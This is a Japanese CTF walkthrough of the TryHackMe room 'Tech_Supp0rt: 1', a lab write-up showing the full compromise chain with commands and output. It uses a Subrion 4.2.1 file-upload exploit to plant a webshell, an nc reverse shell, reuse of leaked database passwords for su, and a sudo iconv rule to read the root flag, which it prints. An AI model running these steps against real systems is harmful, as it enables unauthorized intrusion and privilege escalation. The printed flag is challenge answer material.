概要
TryHackMe「Tech_Supp0rt: 1」のWalkthroughです。
Task1
Q1.What is the root.txt flag?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.48.143 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 10:8a:f5:72:d7:f9:7e:14:a5:c5:4f:9e:97:8b:3d:58 (RSA)
| 256 7f:10:f5:57:41:3c:71:db:b5:5b:db:75:c9:76:30:5c (ECDSA)
|_ 256 6b:4c:23:50:6f:36:00:7c:a6:7c:11:73:c1:a8:60:0c (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: techsupport
| NetBIOS computer name: TECHSUPPORT\x00
| Domain name: \x00
| FQDN: techsupport
|_ System time: 2024-07-21T23:16:33+05:30
| smb2-time:
| date: 2024-07-21T17:46:31
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -1h49m54s, deviation: 3h10m30s, median: 3s
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 7.2p2 |
80 | http | Apache httpd 2.4.18 |
139 | smb | Samba smbd 3.X - 4.X |
445 | smb | Samba smbd 4.3.11-Ubuntu |
SMBの列挙を行います。
$ enum4linux -a 10.10.48.143
[+] Attempting to map shares on 10.10.48.143
//10.10.48.143/websvr Mapping: OK Listing: OK Writing: N/A
//10.10.48.143/websvr
に接続します。
$ smbclient //10.10.48.143/websvr
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \>
enter.txt
を発見しました。
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website
IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula]
Wordpress creds
|->
Subrion
の認証情報を得られました。
パスワードはcyberchef
でデコードして文字列を特定しました。
Webサーバーのディレクトリ列挙を行います。
$ dirsearch -u http://10.10.48.143
[13:48:39] 200 - 24KB - /phpinfo.php
[13:49:00] 200 - 4KB - /test/
[13:49:00] 301 - 311B - /test -> http://10.10.48.143/test/
[13:49:12] 200 - 2KB - /wordpress/wp-login.php
[13:49:12] 404 - 26KB - /wordpress/
WordPressのページでsupport
アカウントを発見しました。
support
アカウントでの認証を試みましたが失敗しました。
/subrion/panel/
でsubrion
のログインフォームが表示されました。
ログインし、subrion 4.2.1
という情報を得られました。
脆弱性を検索します。
$ searchsploit subrion 4.2.1
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin) | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS) | php/webapps/51110.txt
----------------------------------------------------------------------------------- ---------------------------------
ファイルアップロードの脆弱性を悪用してリバースシェルを得られそうです。
$ python 49876.py -u http://10.10.211.236/subrion/panel/ -l admin -p Scam2021
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: http://10.10.211.236/subrion/panel/
[+] Success!
[+] Got CSRF token: v9MrHDKFIXYL0WsMgkDoa1e87cHZZRx4QMxZqimR
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: rnvbnamevcwxnld
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://10.10.211.236/subrion/panel/uploads/rnvbnamevcwxnld.phar
$ whoami
www-data
TTYが取得できないので別ファイルをアップロードします。
PHPリバースシェルファイルの拡張子を.phar
に変更し、Content
->Uploads
からアップロードします。
アップロードしたファイルを右クリックしGet info
からリンクを開いてリバースシェルを確立します。
www-data
のシェルを取得できました。
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.211.236] 49794
Linux TechSupport 4.4.0-186-generic #216-Ubuntu SMP Wed Jul 1 05:34:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
02:14:32 up 38 min, 0 users, load average: 0.00, 0.00, 0.04
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYを取得します。
python -c 'import pty; pty.spawn("/bin/bash")'
scamsite
アカウントへの昇格を目指します。
$ ls -l /home
ls -l /home
total 4
drwxr-xr-x 4 scamsite scamsite 4096 May 29 2021 scamsite
subrion
の設定ファイルは/var/www/html/subrion/includes/config.inc.php
にあるようです。
中身を見るとDBの認証情報を得られましたが悪用はできませんでした。
define('INTELLI_CONNECT', 'mysqli');
define('INTELLI_DBHOST', 'localhost');
define('INTELLI_DBUSER', 'subrionuser');
define('INTELLI_DBPASS', 'TechSupportStory');
define('INTELLI_DBNAME', 'subrion');
define('INTELLI_DBPORT', '3306');
define('INTELLI_DBPREFIX', 'sbr421_');
WordPressの設定ファイルも確認します。
define( 'DB_NAME', 'wpdb' );
/** MySQL database username */
define( 'DB_USER', 'support' );
/** MySQL database password */
define( 'DB_PASSWORD', 'ImAScammerLOL!123!' );
DBの認証情報を得られました。
パスワード情報からscamsite
にログインできそうです。
ログインに成功しました。
$ su scamsite
su scamsite
Password: ImAScammerLOL!123!
scamsite@TechSupport:/var/www/html/wordpress$
sudo -l
で確認します。
$ sudo -l
sudo -l
Matching Defaults entries for scamsite on TechSupport:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User scamsite may run the following commands on TechSupport:
(ALL) NOPASSWD: /usr/bin/iconv
権限昇格の脆弱性を発見しました。
/root/root.txt
からフラグを入手できます。
$ sudo /usr/bin/iconv -f 8859_1 -t 8859_1 /root/root.txt
851b8233a8c09400ec30651bd1529bf1ed02790b
A.851b8233a8c09400ec30651bd1529bf1ed02790b